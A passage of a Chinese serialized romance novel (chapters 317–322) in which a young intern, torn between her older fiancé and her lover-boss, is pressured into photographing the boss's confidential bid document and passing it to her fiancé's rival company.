将她的裙摆整理好,“抱歉,一时冲动。”
“果然。”她苦笑,将睫毛上的湿气擦掉,“裴啸,你赢了,我彻底恨上你了。”
他抬手蹭了蹭她的小脸,“不如多批你两天假,算是补偿。”
安糖糖红了眼,抬手给了他一个巴掌。
这是她第一次打人,指尖颤得厉害,“我就这么不值钱吗?就因为我喜欢你,所以在你心里,你想怎样对我,我都会配合你,是吗?”
他没说话。
脸色变得有些冷。
他对安糖糖的想法,他自己都不清楚。
拿起手机,给安糖糖转了五十万。
离开了洗手间。
安糖糖哭了。
妆花得一塌糊涂。
她索性直接洗了脸,将本不属于她的妆容全部卸掉。
程节看向她……
失魂落魄,眼睛很红,明显是哭过了。
“怎么搞的?”
安糖糖:“摔了一跤,有点狼狈。”
他知道她在撒谎。
却也没有揭穿她,将自己的西装脱下来,披在了她的身上,“我先送你回去休息吧。”
“嗯。”她点头。
对于生意场上的男人,尤其是四十岁的男人来讲,他不注重感情,也并不要求专一。
这种场合上,小姑娘没有控制好自己,对他来说,不值得往心里去。
但他挺想知道那个男人是谁。
他容不得别人挑衅他。
送安糖糖回家后,他轻轻地抱了抱她,“好好的睡一觉,有什么事情,改天再说。”
“谢谢你程先生。”
……
夜色降临。
安糖糖换了衣服,一个人去了酒吧。
这是她释放自己的地方。
舞池摇曳。
她就坐在旁边,跟着笑,跟着叫,跟着扭腰,像个没心没肺的孩子。
“妞,有男朋友吗?如果没有的话,你看哥哥我……”
有人来搭讪。
安糖糖嫌弃地撇了他一眼,“有二十吗?”
“当然,哥哥我今年二十四了。”
安糖糖大笑,“我说的是尺寸。”
男的脸绿了,骂骂咧咧的。
她笑得更大声,“小小少年,可怜可怜哪……”
第317章 我又不是出来卖的
安糖糖像个小疯子。
跟着音乐疯狂摇摆。
跳够了,就喝酒,喝完酒再跳。
喝到凌晨,把自己干趴下,还赖账。
“小姑娘,你得给钱啊,你要不,给家人打个电话,过来把账结了?不要然……我要报警了。”酒吧的工作人员,一脸的无奈。
安糖糖醉得像一滩烂泥,“我没有家人,你报警抓我吧,我正好有睡觉的地方了。”
“你这不是耍无赖吗?”
工作人员没法了,将她的手机打开,开始摇人。
这深更半夜的,要么打不通,要么就没人接。
“我再打最后一个,要是真没人来,我只能报警了。”
最后一个电话,响了五声,在要放弃的时候,那头接了。
“喂?你是机主的朋友吧?她在我们酒吧喝醉了,也不付钱,还耍无赖,你看,你要不要来给她付一下,你要不过来的话,我们只能报警处理了。”
“欠了多少?”男人的声音低沉。
“十二万三千六。”
许久,男人,“稍等一下,我马上过去。”
工作人员听到有人来付账,心也落回到了肚子里。
“好的,先生。”
他将安糖糖从地上拉起来,安排到了沙发上。
“你运气好,有朋友来为你付账了,一会儿赶紧跟你朋友回去吧。”
安糖糖醉笑着指他,“你挺爱……多管,闲事的啊。”
工作人员:……
一个小时后。
裴啸出现在了酒吧。
刷卡付完款后,他将安糖糖扛在肩上,走出了酒吧。
安糖糖不老实,扑腾着,“你谁啊?我告诉你啊,我有男朋友的,你要是睡了我,他会揍你的,他有的是力气,可就是……没力气爱我。”
“老实一点。”
他将她放到车子后排,刚关好车门,她就又推开车门下了车,“救命啊,有人劫色,快来人啊……”
裴啸蹙眉。
将她重新摁在了副驾驶上,顺带着落了车门锁。
他刚坐进驾驶室,安糖糖已经解开安全带,准备再次逃跑。
他将安全带又拉过来,重新系好,“你给我老实点听到没?我告诉你安糖糖,我这是第一次来接你,也是最后一次,你最好将我的手机号从你手机里删掉,明白?”
安糖糖喝醉了。
她根本听不懂他在说什么。
“你谁啊?你到底在狗叫什么?你告诉我你的名字,明天我就找个大师算死你,尸骨无存。”
裴啸没法跟一个醉鬼计较。
一脚油门踩回了家。
他真的很不喜欢脏东西,进门第一件事情,就是带安糖糖进了浴室里。
她醉得厉害。
人就那样,软蹋蹋的,躺在了浴室的地面上。
裴啸放了洗澡水,给她脱了衣服,将人放到了浴缸里。
“好冷啊……”
水明明是热的。
她却冷得唇齿打颤。
“妈妈……”她醉臆,含混不清的,“……妈妈,好冷啊,有人欺负我,你快来,快来……”
她的身子慢慢地沉了下去。
裴啸一把捞起她,单手解开自己的扣子,陪着她一起泡进了浴缸里。
她感受到了男人的温度。
紧紧的抱住了他,“好冷,妈妈抱紧我,我好冷……”
他抱着她,心里突然对这个女孩,有了一种……说不上来的感情。
可能是怜悯。
也可能是别的。
……
安糖糖醒来的时候,已然是中午。
昨天她喝太多了,最后都断片了,也不知道……
床?
被子?
光着身子?
“啊……”她刚要尖叫。
裴啸端着一杯牛奶走进了卧室,“别叫了,没人碰你,先把牛奶喝了。”
安糖糖这才认出来,她在裴啸的家里。
“我怎么会在这儿啊?你捡我尸了?”她接过牛奶,喝了一大口,“你也是够闲的,不睡觉,跑到大街上,捡烂醉的女人,什么癖好。”
待她喝完牛奶。
裴啸将一张发票,放到了她面前,“昨天我替你付了酒钱。”
安糖糖拿过发票看了一眼。
像被电着了,差点将发票扔出去,“十二万……,我喝了十二万的酒吗?怎么可能,我没喝多少啊?一定搞错了,要不然就是他们趁着我不清醒,讹我,我去找他们去。”
“你的消费记录我看过了,限量有年份的酒,你喝了不少,还钱吧。”
裴啸淡淡的。
安糖糖舍不得这么多钱,但还是给裴啸转了账,嘟嘟囔囔的,“最好不是你和那个酒吧作局害我。”
“你想多了,我没那么闲。”
安糖糖瘪起小嘴,“那我是不是得谢谢你。”
“那就再转十二万。”
安糖糖捂紧了口袋,“你抢钱呢,这可都是我的血汗钱。”
“这么看重钱,转你的五十万,怎么不收。”他眉眼沉着,英俊的脸上,是淡淡的质问。
安糖糖没看他,小脸有点丧,“你挺大方的,但我……不是卖的,干嘛要收你的钱。”
这话挺戳人的。
很久都没有声音。
“你……再睡会儿吧,等休息够了,就回家,我……去公司了。”
裴啸转身要走。
安糖糖抬手勾住了他的小手指,“对不起啊,裴啸哥哥,给你添麻烦了。”
“那以后,就尽量不要给我添麻烦。”他没回头,声音也很冷硬。
安糖糖浅浅的哦了一声。
“对不起。”
裴啸有些烦了,总是对不起,对不起的,“你还要说多少对不起?安糖糖,你也是个成年人了,什么事情都拿得起放不下的,人,得为自己负责。”
安糖糖被训了。
眼眶一酸,就开始掉泪,“我不说对不起说什么嘛,我说我喜欢你,我爱你,你又会觉得辣耳朵,那你要让我说什么?我要知道,你是这样的人,那天在民政局,我就嫁给何绩算了。”
“我什么样的人?”他转过身来,望向她。
安糖糖红着眼抬眸,“你是什么样的人,你自己不清楚吗?”
“我给程节打电话,让他过来接你回去。”裴啸生气了。
本来他心里就乱。
安糖糖又一直在拱他火。
他确实不是个好人。
他知道。
不需要一而再,再而三的提醒,“喂,程先生……”
一句话还没有说完。
安糖糖就将他的手机抢过去,关机了。
“裴啸,我不会赖着你的,你不用急着把我推出去,就像你说的,我们就是男欢女爱,都是生理需要,不谈感情,我现在是程节的未婚妻了,我自然不会再对你有什么非分之想,你大可放心。”
第318章 不止是工作关系
她哭着。
就那样看着他。
“你放心,我很快就会跟他结婚,然后再给他生两个大胖小子,我再也不会跟你有什么,这样你开心了吧,你没有负担了吧?”
她的泪那么多。
顺着小脸,往下滴。
她笑着,粗鲁地抹了把眼泪,“我妈要知道我嫁了那么一个优秀的男人,她一定很开心的,她一定做梦都笑出声来。”
裴啸蹙紧眉头。
心里的某根弦就那样猝不及防地被触动了。
他扭过脸去,不看她。
声音依然冷淡,“休息好了,就回家吧,免得家人担心。”
裴啸离开了。
他站在门外,听着屋里隐忍的哭声。
到底是个小姑娘,不懂得隐藏情绪。
而他呢。
过于成熟,过于会自我保护,显得就过于无情和冷漠。
坐到车里。
他丢了根烟到嘴上,衔着。
手机无聊地在掌中刷着朋友圈。
有旅游的,有晒各种美食的,有发小宝宝的动态的,也有宣布恋情的。
众多的讯息中。
他看到了邓雪发的一条。
一条检孕棒,两条红杠,配文,一家三口。
他笑了。
真好,她真正地拥抱了自己的幸福。
他很真心地给她的朋友圈点了个赞。
随即离开了朋友圈。
低头将烟点着,他吸了一口。
每个人都走到了正确的道路上,只有他一个人在试错。
就如霍时序说他的,他变得不自信了。
在感情方面,他学会了,用逃避来规避风险。
他挺无耻的。
他觉得自己病了。
……
安糖糖回到家后,又睡了半天。
程先生过来,给安初平送了一些名贵的礼物。
安初平和他在客厅里说话。
“糖糖这孩子,到底是个二十初头的孩子,喜欢玩,玩累了就知道睡,这女人啊,只有结了婚,才会长大,变成熟。”
安初平吸着雪茄。
看向了程节。
程节微微笑着,平静又儒雅,“那伯父是想把婚期订在什么时候?”
“这马上就要过年了,等开春吧,春暖花开的时候,最适宜办喜事,快的话,三年抱两,你觉得呢?”
程节依然温和的点头,“听您的。”
“程节,糖糖这孩子有点任性,嫁给你,我是放心的,你足以包容她。”
“伯父放心,凡事以她为主。”
“那就好,一会儿留下来,吃午饭。”
程节点头,“是。”
程节有这个年龄的成熟,他需要一个年轻漂亮的妻子,他逝去的妻子不能生育,他选择安糖糖更重要的原因是,她年轻,好生养。
这点安初平知道。
他更希望自己的女儿,将来在程家站稳脚跟。
那样安氏的发展,将不可限量。
睡到中午。
安糖糖被汤怡叫起来用餐。
“我不吃,别来烦我。”
“糖糖,人家程先生过来看你,你懂点事,别睡了。”汤怡让下人给安糖糖准备好了衣服,“好了,赶紧的起来洗漱一下,换件漂亮的衣服,要不然,你爸可要生气的。”
安糖糖很恼火。
但胳膊拧不过大腿。
最后她还是被簇拥着下了楼。
来陪程节。
“糖糖,程节特意过来看你,你倒是好,睡了半天,太失礼了。”安初平脸上挂着难得的笑意。
安糖糖哦了一声,坐到了程节的对面,“不好意思啊程先生,昨天晚上喝多了。”
“没关系,身体怎么样?还难受吗?”程节适当的问候。
安糖糖:“还好。”
“那一会儿吃完饭,再去睡一会儿,不用特意来陪我。”程节给安糖糖夹了菜,“我过来,没别的事情。”
安糖糖没抬头,低头扒饭。
她和程节没的聊。
从见面到订婚,两人见过三次面,加今天这一次,四次。
甚至,她都没仔细看过他的眼睛。
吃了没几口,她便放下了筷子,“那个,你们吃,我收拾一下,去上班了。”
“上什么班,一个实习生的工作,有那么重要吗?”安初平骂安糖糖不懂事,“程先生难得来一趟,你这样礼貌吗?”
“伯父,糖糖有工作,是不能怠慢的,我一会儿送她去,没关系的。”
程节大度,包容。
对她有足够的耐心和信任度。
但不是安糖糖想要的。
她想要裴啸那样的。
可能是她贱吧。
……
路上。
她和程节并排坐在后排。
他握着她的小手,拇指轻轻地揉捏着她的虎口位置。
“在裴总那里,做得开心吗?”
安糖糖淡淡的,“谈不上开心与不开心,我刚毕业,没什么工作经验,有个地方可以让我实习,我觉得挺感恩的。”
程节微笑着点头,“裴啸人好相处吗?”
“我在实习阶段,见他的时候很少。”安糖糖没有过多解释。
程节脸上依然是淡然的微笑,“裴啸这个人,最近在业内的风头很劲,半路出家,把润合做得很大,裴氏元老们将他请回裴氏,想让他在裴氏发力,看来以后的江城,又免不了一顿的腥风血雨。”
“你也会受影响?”
安糖糖不懂商业上的那一套。
程节在各方面,都比裴啸强,怎么会有如此的担心?
“当然,裴氏涉及各行各业。”程节意有所指的,看向安糖糖,“如果你能走近裴啸,也是一件好事。”
安糖糖似懂非懂的。
程节不会是想让她当什么内奸吧?
“你想多了,裴啸的核心业务,可不是一个实习生能接触到的。”
“慢慢来,不急。”
程节总有一种胜券在握的掌控感。
安糖糖心里不安。
她不愿意帮程节。
但他是她未来的丈夫,她没有道理拒绝。
“你想让我做什么?”她索性直问。
程节淡笑,“既然你这样问了,我们之间也没什么可回避的,裴氏要去竞标一个项目,而这个项目刚好我的青峰集团,也有意向,如果你能拿到裴氏的竞标书,那对于青峰来说,就有了十成的把握。”
安糖糖:……
乖乖。
还真让她去做内奸啊。
“我……恐怕不行。”
“不行的原因是……?”
安糖糖望着车窗外面,“我说了,我只是一个实习生,有时候,很多天都见不到裴啸,所以……”
“是吗?”程节笑了,指尖轻轻地蹭着她的发梢,“我以为,你和他,不止是工作关系。”
安糖糖眼眸骤紧。
程节知道了什么?
“你什么意思?”
“别急。”程节抛出筹码,“我知道,你一直想要回你母亲名下的公司,然而,这么多年了,一直让一个小三给霸占着,你外公也多次提及,死的时候都没有闭眼,你内疚,难过,无能为力,但我可以……帮你。”
第319章 她竟然想吻他
这些事情,程节是怎么知道的?
不管他怎么知道的。
那间名为桂美的公司,是母亲一手创建,被父亲当成彩礼送给了汤怡是事实。
汤怡接手后,改名为怡美,属于安糖糖的股份,也全部被汤怡霸占了去。
这确实是安糖糖的心头痛。
“所以,这是交换条件?”
程节的指尖扣紧了安糖糖的肩,“不能这么说,我只是想替你完成心愿而已,糖糖,你是个聪明的女孩子,不会在没有结果的事情上,一直浪费时间的对吗?”
他在敲打她。
显然。
他知道了,她和裴啸的关系。
安糖糖没说话。
她确实需要一个强有力的帮手,帮她拿回桂美。
“裴啸不是个傻子,我不确定……”
“没关系。”他将她额前的碎发,轻轻地撩拨至耳后,“只要你尽力就好。”
她望向他。
却看不清他墨色深眸后的动机。
车子在润合集团楼下停下。
程节亲自下车,为安糖糖打开了车门,“要不要我下班来接你?”
“不用了,我打个车回去。”
他轻轻地拥抱了她,“那,照顾好自己。”
程节走了。
安糖糖望着他车子消失的方向,盯了许久,才收回泛了酸的眸子。
十层总裁办的窗边。
裴啸指尖掐着烟,望着安糖糖的背影。
转身摁了内线,“严特助,一会儿叫安糖糖过来我办公室一趟。”
“好的裴总。”
很快。
安糖糖敲响了裴啸办公室的门,“你好,裴总,找我吗?”
裴啸点头。
“从今天开始,你跟着严特助一起,熟悉我的工作流程,协助他完成一些重要工作。”
裴啸安排着。
将严特助也叫到了面前,“以后,你负责带她,她要出了问题,就等同于你出了问题,好好教。”
严秘书立马应下。
“好的,裴总,我会的。”严特助看向安糖糖,“总裁这边,暂时少一位生活秘书,先从照顾生活开始吧。”
安糖糖不懂什么是生活秘书,“怎么照顾?”
“端茶倒水,有来访的客人,要负责照顾到,还有,有一些简单的文件,也要帮着裴总先过滤一下,工作从简单开始,慢慢来。”
安糖糖乖巧点头,“哦,明白了。”
严秘书给安糖糖安排了一个位置。
在裴啸的办公室里。
他的办公室足够大。
倒也不用大眼瞪小眼,平时工作简单,整理整理文件,订订餐,打扫一下总裁办的卫生。
大部分时间,安糖糖挺无聊的。
裴啸在办公室的时间也不多,有时候,好几天,她也只会见他匆匆一面。
听说是他经常在裴氏。
大概是那个项目的事情。
这天,严特助来总裁办公室找文件的时候。
安糖糖多问了一嘴,“最近裴总好像挺忙的哦。”
“是啊,裴氏有项目竞标,他忙的几天几夜都不合眼的做标书,真的是太辛苦了。”
安糖糖眼眸回转。
还真的是这样的。
“那,那边有人照顾他吗?严特助,要不我去那边照顾裴总吧,这几天几夜的不合眼,万一人倒下了,那……”
严秘书似是听过去了。
嘶道,“倒也不是不可以。”
“那你同意了?”安糖糖有点小兴奋,“我保证不会添乱,我会把工作做好的。”
“那行吧,你收拾一下,一会儿我去裴氏,你跟我一起过去。”严特助同意了。
“好的,严特助。”
当安糖糖出现在裴啸面前的时候。
他刚开完会,正头疼的厉害。
一个人靠在老板椅上,闭目养神。
安糖糖悄悄的猫进去,“裴总。”
裴啸抬眼皮,看到安糖糖,有一些意外,“你怎么来这儿了?”
“严特助说你最近工作很辛苦,我在那边太清闲了,就把我调过来,照顾你。”安糖糖走到裴啸的身后,细长冰凉的指尖,轻轻的揉着他的太阳穴,“工作的时候,我认真工作,绝不跟你搞别的。”
裴啸嗤笑。
安糖糖也不知道他在笑什么。
“你笑什么?”
“笑你可笑。”
“我哪里可笑了,我过来照顾你,纯粹是怕你死了,没人给我发工资而已,你别以为,我是关心你,我才没有那么闲呢。”
安糖糖自以为是地解释着。
裴啸也没有再跟她讨论。
他好像睡着了。
很安静。
也呼吸都很轻。
她停下动作,偷偷地看着他的侧脸。
鼻子好挺,睫毛好长,他皮肤真好,虽然不是那么白,但是很健康的颜色。
还是他的薄唇。
她不由地想到了,他吻她时的样子。
安糖糖的脸,离他越来越近,近到她可以感受到他的呼吸的时候,裴啸睁开了眼睛。
“你干什么?”
安糖糖赶紧抿唇,站直了身子,她感觉自己真的好猥琐。
刚刚,她竟然想吻他。
“我,我,我以为你没气了,所以……凑近试试。”
“我谢谢你。”
裴啸很疲惫。
起身去了休息室。
安糖糖跟着他后面问,“你吃过饭了吗?要不要我订餐?你吃饱了再睡。”
“不饿。”
他去了休息室,将门关了起来。
安糖糖只好停下脚步,“哦,知道了,那我几点叫你啊?”
里面没了动静。
裴啸躺下没十分钟。
东靖川和他的一位主管走了进来,看安糖糖眼生,透出疑惑,“你哪位啊?”
“我是裴总的生活秘书,原来在润合那边,你是来找裴总的吗?”安糖糖很职业地问。
“他人呢?我有事要找他。”
安糖糖不愿意叫醒裴啸,“裴总他刚睡了,你有什么事情,等他睡醒了再来吧。”
东靖川听的恼火。
事情紧急,还要等睡醒,“这是他说的,还是你说的?”
“当然……是我说的,裴总很累了,让他睡一会儿,才更有精力工作不是吗?”
东靖川压下眉眼。
主管抬手就给了安糖糖一个巴掌。
“小小秘书,还替老板做起主来了,耽误了事情,你负得起责任吗?”
这一巴掌打得是猝不及防。
安糖糖被打傻了。
“你……”
巴掌打得很重。
安糖糖的脸,肉眼可见地红肿了起来。
这时,休息室的门打开。
裴啸走了出来。
安糖糖没说话,捂着脸,扭过了身子。
裴啸扯过安糖糖,握着她的下巴,看了一眼她脸上的掌痕。
声音冷淡地问向主管,“你打她了?”
主管虽然怕裴啸,但这个小秘书私自做主,确实有出手理由。
“裴总,东总找您有紧急的事情,想让她叫您一下,她私自做主,我就是出手……教训她一下,让她长长记性。”
“长记性?”裴啸冷笑,抬手就扇了主管一个巴掌,“轮得到你来让她长记性?”
第320章 情人
裴啸的手劲很大。
主管被扇得转了一百八十度,当场吓破胆,“裴总,对不起,我下次不敢了。”
“也不怪王主管,他也是着急,竞标日期提前了,除了青峰这个有力的对手,又加入了霍时序的XY集团,所以……”
东靖川给了裴啸你懂得的眼神。
裴啸没接他的信号。
淡而无味,又颇具厉色地说,“目前来说,准备已经很充足,这次竞标的带头人是我,又不是你们,你们跑到我办公室里打人,是打她,还是打我?”
王主管吓的躲到了东靖川的身后。
东靖川也没再说什么。
离开前淡了一句,“我不知道XY集团,为什么会过来插一脚,你最好问问霍时序,他的用意是什么,据我所知,这次的竞标项目,与XY集团的项目没有半点关系。”
说完。
人离开。
裴啸转过脸来,看向安糖糖。
小脸很红,已经微肿。
他让严特助去买了药,亲自为她上药。
“嘶……”安糖糖有点疼。
“一会儿就好。”他难得温柔,“以后让你干什么就干什么,免得挨这无辜的巴掌。”
安糖糖委屈,“我就是想让你多睡一会儿,是那个王主管太不懂事了,他就是狗仗人势。”
“这样的人,在公司里多了去了,秘书不是什么好干的活。”
他指腹温柔地揉着她红肿的小脸。
待到吸收过半,他收将指尖收回。
安糖糖知道。
但她只要能跟他在一起,她就觉得很幸福,挨一巴掌,就挨一巴掌吧。
她要珍惜这段时光。
“没关系,我能干的。”
“去里面休息一会儿。”他吩咐。
安糖糖指了指休息室,“是那里面吗?”
“不然,还有哪儿。”
“去那里面不合适吧,那是你的休息室……”她扭扭捏捏的。
裴啸:“那就别去了。”
“不,不,去,马上就去,我正好困了呢。”
她小碎步跑进裴啸的休息室,踢掉鞋子,就穿进了他的被窝里。
被子里还有他的温度和气息。
她好喜欢……
深吸了一口气,她抱着抱子闭起了眼睛。
裴啸在阳台吸了根烟,然后给霍时序打了个电话过去,询问竞标的事情。
“你什么意思?”
那头的男人语调轻松,“还能有什么意思,帮你呗。”
“你觉得我不行?”
“我没觉得你不行,我是觉得程节的青峰不是什么善茬,有我在给你托底,能保证竞标的结果。”
霍时序是好意。
裴啸也知道他是好意。
但他不想霍时序掺和进来,“兵来将挡,水来土淹,要真的拿不下,我也怨不得别人。”
“做为你的知心哥们,我希望你借此平步青云,在裴氏站住脚,成为新的王,啸,我绝对相信你的能力,我只是为你托底,你不见得能用得上我。”
霍时序是令人感动的。
裴啸长长地吐息了一口。
最终化成了一句,“谢谢。”
夜幕降临。
今晚的裴氏依旧灯火通明。
安糖糖这一觉睡得,像过了一个世纪。
好安稳,因为有他的味道,她格外的贪恋。
门被打开。
裴啸进来换衣服,“醒了?”
“我是不是睡过头了?”安糖糖有点不好意思,“你怎么也没有叫我啊。”
“不叫你不是也醒了。”
他将黑色的衬衣脱下来。
麦色的肌肤,肩平而宽,肌肉线条极其清晰,棱角分明,没有一丝赘余。
充满安全感,又感觉很有力量。
尤其是腰部那个性感弧线……
安糖糖想到他们在一起时,她那样忘情的抱着他的腰……
“看什么呢?”他换了一件白色的衬衣,边系扣子,边无语地说,“擦擦嘴。”
安糖糖的口水流出来。
她有点小尴尬,“那个……你现在要下班了吗?”
“是。”
“哦。”那她得赶紧起床。
安糖糖从休息室的床上下来。
过于急,导致脚下没站稳,直愣愣地扑向了裴啸。
她有点慌。
又怕他不悦,想着往后撤。
结果用力过猛,拽着裴啸的胳膊,将他整个人连同自己,一起跌进了温软的大床里。
“对不起啊,我不是故意的,我就是……”她想说,她就是不小心。
可是她的唇距离他的唇太近了。
近到她多说一句,唇与唇就碰到一起。
她不敢看他,又忍不住看他,指尖在他的胸前,轻轻地蜷起,却撩出一道暧昧的痕迹。
“裴啸哥哥,我……”
她有点忍不住了。
她太好色了,她现在就想亲他。
安糖糖的呼吸开始急促。
她怕自己太主动,遭到他的嫌弃,可她又怕自己一撒手,他就离开。
她慢慢的将自己的唇,试探般的,轻轻的沾了一下他的唇。
对。
她就是这么没出息。
裴啸对她而言,是生理性的吸引。
这世界上,就这么一个男人。
她想要。
男人的眼眸微动,从她漂亮的眸子,落到她微微张开的红唇上。
下一秒。
他便主动吻了上去。
他的吻向来热烈。
她真的好喜欢这种感觉,像在做梦。
“裴啸哥哥,我真的好喜欢你……”
安糖糖喜欢在这个时候表白。
就算她无数次被裴啸奚落,她也不在乎,她想让他知道,跟他在一起的时候,她的心里满是他。
“有多喜欢?”他喘息地问她。
她颤着眸子,“很喜欢很喜欢。”
“喜欢到,即便订了婚,也想跟我偷情?”他握着她下巴,低头在她的脖子上,吻了个印痕,“这样也不怕吗?不怕程节看到?”
安糖糖怕也不怕。
不管将来如何,她现在就想要他。
“你不觉得偷情很刺激吗?”她的小手缠上他的脖子,指尖熟捻着他的衬衣扣子,一颗又一颗地解,“既然做不成裴啸哥哥的女朋友,就做个小情人吧。”
她想要光明正大。
可他不要啊。
他嫌弃她,觉得她的爱,上不了台面,可那是她的全部啊。
裴啸顿时失去了兴致,一把推开了她。
慢条斯理地将自己的衬衣扣子,全部扣好,“你也配当情人?”
“我哪里不配了?”
他为什么每次都说这么伤人的话。
裴啸轻嗤,“程节碰过的女人,我不会再碰。”
“我和程节……”根本就没发生过什么,“……嫌我脏了,对吗?”
“不应该嫌弃吗?”他睨向她,眼神冷得骇人,“安糖糖,你不要试图改变我们的关系,我是不会对你……”
他深呼吸。
安糖糖的小手,缠到了他的腰上,“……不会对我动情,我知道。”
第321章 今晚可以跟你睡一起吗
可她会对他动情。
只要他稍微靠得近一些,她就忍不住地想把心掏给他。
“知道,还要靠近?”
“是。”她紧紧的抱着他。
裴啸闭了闭眼,转身握住她的肩,四目相对,她眼眶湿润。
“我不希望你做危险的事情。”
程节不是善茬。
如果被他知道了,安糖糖不会有好果子吃。
“我现在还不是他的妻子,不是吗?”如果裴啸肯接受她,她可以马上跟程节毁掉婚约。
他推开了她,“你太任性了。”
“裴啸哥哥……”她再次抱住了他,情绪上头,声音哽咽,“……我从小到大,没有如此喜欢过一个人,我知道我没有什么可吸引你的地方,我太年轻,我太幼稚,我可能帮不上你什么,我的爱也不值钱,但我就是……喜欢你,妈妈没有教过我,被拒绝了该怎么办?”
提到母亲。
总会令裴啸想到她是一个可怜的孩子。
他终归是心软了。
转过身来,拥住了她,“好了,别哭了,搞的好像我怎么欺负了你似的。”
“你没有。”安糖糖摇头,眼底星光点点,“裴啸哥哥,我只要抱着你,感受到你的体温,我就感觉好幸福,好幸福。”
他无奈地扯了扯唇,“跟我回家。”
“嗯”
虽然她不能牵他的手。
虽然她不能跟他并排走在一起。
可他说了要带她回家耶。
她像个小跟屁虫。
以秘书的身份,坐进了裴啸的车子。
车子开走。
不远处的一辆墨色的豪车里,男人目光深远沉重。
助手不明白他的意思,“程先生,安小姐她上了裴总的车子,很可能就……”
男女之间的事情。
根本不用费力去猜。
程节怎么会不知道,接下来的夜晚,会发生什么。
他点了根雪茄,在唇上吸上,“……只要她能拿到标书,我无所谓的。”
婚姻本来就是一场淋漓尽致的利用。
要谈爱,就俗气了。
“回公司。”
“是。”
……
裴啸带安糖糖回了家。
他这个人没多少热情,至少在性和情方面,他是有一些偏冷淡的。
可能是年龄的关系。
也可能是,他对爱情本身,没有了期待和幻想。
安糖糖不一样。
她像只小精灵。
挥动的翅膀,就围着他转,转得他头晕,转得他失去理智,转得他对她渐渐地生出了,不该有的情愫。
他将她压在落地窗上。
手腕的那串佛珠,有规律地敲打着厚重的真空玻璃。
窗外,狂风暴雨,她抱紧了他。
“裴啸哥哥,我今晚可以跟你睡一起吗?”她的汗珠与他的粘在一起,她好怕他会嫌弃,“我乖乖的。”
他吻着她的锁骨。
慢慢向上,堵上她的唇,“做的时候,专心一点。”
情事跌宕……
……
事后,安糖糖被抱去了浴室,她软软的在他的怀里,由着他把自己清洗干净,然后放进他的被子里。
她心里有说不出的满足。
如果这一刻能成为永远就好了。
可她知道。
天亮了,他又会对自己拒之千里。
不管了。
现在是温暖的就好了。
她靠在他的胸前,紧紧的抱着他,“哥哥好暖哦。”
“睡吧。”
她仰起小脸,在他的喉结上吻了一下,“明天可以一起去上班吗?”
他垂眸看她。
在她的额头亲了亲。
“睡吧。”
他又是没有给她答案。
安糖糖困了,没有再计较。
翌日一早。
安糖糖醒来的时候,裴啸早已经不在床上。
她赤着脚,四处找他,发现他的大衣不见了,人,应该是去公司了。
糟糕。
她要迟到了。
安糖糖急匆匆地赶到裴氏后。
裴啸并没有在办公室里。
严特助说,这个时间,他在开会,而且开会的时间会很长。
桌子上放着竞标书。
安糖糖盯着那三个字,心跳得乱七八糟。
程节说,只要她帮他拿到了竞标书,他就可以帮自己拿回母亲的[桂美],是这份标书吗?
她像贼似的。
走到裴啸的办公桌前。
轻轻地打开这份,急等着裴啸确认的竞标书。
上面的内容,是绝密。
但安糖糖还是拿出手机,将内容全部拍了下来。
严特助走进来时,安糖糖刚刚拍完,她有一些心虚,手忙脚乱的整理着裴啸桌上的东西。
“严特助,会开完了?”
“标书裴总要用一下。”他伸过手去,安糖糖赶紧将标书递了过去,“会还要开多久啊?”
“这次要确定标书,估计短不了,你一会儿给裴总订餐,别忘了。”
安糖糖点头答应着,“好,我知道了。”
严特助没有怀疑她的动机。
她的掌心却湿了。
手机在口袋里震动了一下。
是程节发来的信息。
[东西拿到了吗?]
安糖糖沉顿了一下,[拿到了,但我不确定,这份竞标书,就是他们最终确定的那份。]
[我在楼下,你把东西拿下来。]
程节来了。
竞标的日子近在眼前,安糖糖知道他已经迫不及待了。
可这是裴啸的心血。
是他一夜一夜熬出来的。
她为了自己,就这样拿他的心血,去给他的竞争对手,这样真的对吗?
她不是很喜欢裴啸,很爱裴啸的吗?
为什么要做这样的事情?
安糖糖很纠结。
程节没有给她太多思考的时间。
几番催促后。
安糖糖还是下了楼,坐进了程节的汽车里。
“怎么不开心?”程节握起她的小手,轻轻的揉捏着,“不是我非要催你,竞标的日子近在眼前,我也没有办法,不是吗?”
“如果我把这份竞标书给你,你是不是真的会帮我拿回[桂美]?”
程节点头,“当然,我答应过你的事情,不会食言。”
“那……如果我把这份竞标书给了你,裴啸那边……是不是,就绝对不会拿到项目了?”
程节耸耸肩,“不好说,可能他们有planB,你要知道,公司参与竞标,不可能只有一个计划书的。”
这些安糖糖不懂。
她只想要裴啸不要受影响才对。
“真的吗?”
“当然。”程节笑笑,“这么大的集团,参与竞标,如果只有一个计划,不是让人看了笑话去了。”
“既然他们不可能只有一个计划,那你就算拿到了这个计划,又有什么用呢?”
程节淡淡的看着安糖糖,“知己知彼,才能做好应对,就算最后我们青峰还是输了,那也与你无关,我答应你的事情,依然会帮你的做的。”
他将安糖糖搂进怀里。
尽可能安慰着她不安的情绪,“糖糖,我们马上就要结婚了,我们是一体的,我好了,你也会跟着好,你们安家也会好,当然了,你高兴了,你开心了,我也会开心的,懂吗?”
第322章 她还是出卖了他
安糖糖并没有觉得有多开心。
她迟迟没有把拍下来的内容发给程节。
像是确认地问,“这个计划书……对裴……啸,真的,没有影响吗?”
“当然。”程节确定。
他将手伸向了安糖糖。
安糖糖犹豫着,指尖将手机攥得更紧。
“你是怕我拿到计划书后,不肯帮你?”程节轻笑,脸上是温润的神色,“不会的,我程节说话向来算话,况且,你未来是要做我夫人的人,我怎么会骗你。”
“我……不希望伤害到裴啸。”她像在说服自己。
程节微笑着看着他,“我答应你。”
安糖糖最终还是将计划书的全部内容,发给了程节。
她完全不知道,这份计划书,是裴氏已经修改过,最终一致通过,拿去竞标的计划书。
在竞标的前一天。
程节的青峰集团,向上面单位递交了他们的计划书。
并公开。
里面的内容,几乎完全拷贝了裴啸的那份计划书,并在内容上做了优化,将优势进一步拉大。
会议室里。
所有参与这次竞标计划的人,都震感到出了内鬼。
“谁干的?”裴啸在会议室里发火。
东靖川视线扫过在场所有的人,“明天就要投竞标书了,今天青峰就已经提前公开自己竞标书的内容,而且这内容……这是有备而来,这让我们这段时间来的辛苦,全成了泡影,是谁,自己站出来。”
会议室里的人。
个个噤若寒蝉。
没人敢胆大到,将竞标书的内容,泄露出去。
“严特助,去查监控,所有碰过竞标书的人,都给我查清楚,看看谁这么大的胆子。”裴啸下令。
严特助:“是,我马上去查。”
会议室里的人,都低声窃窃私语。
再现做一份竞标书,显然已经来不及,程节这样做,就是逼裴氏退局。
这时。
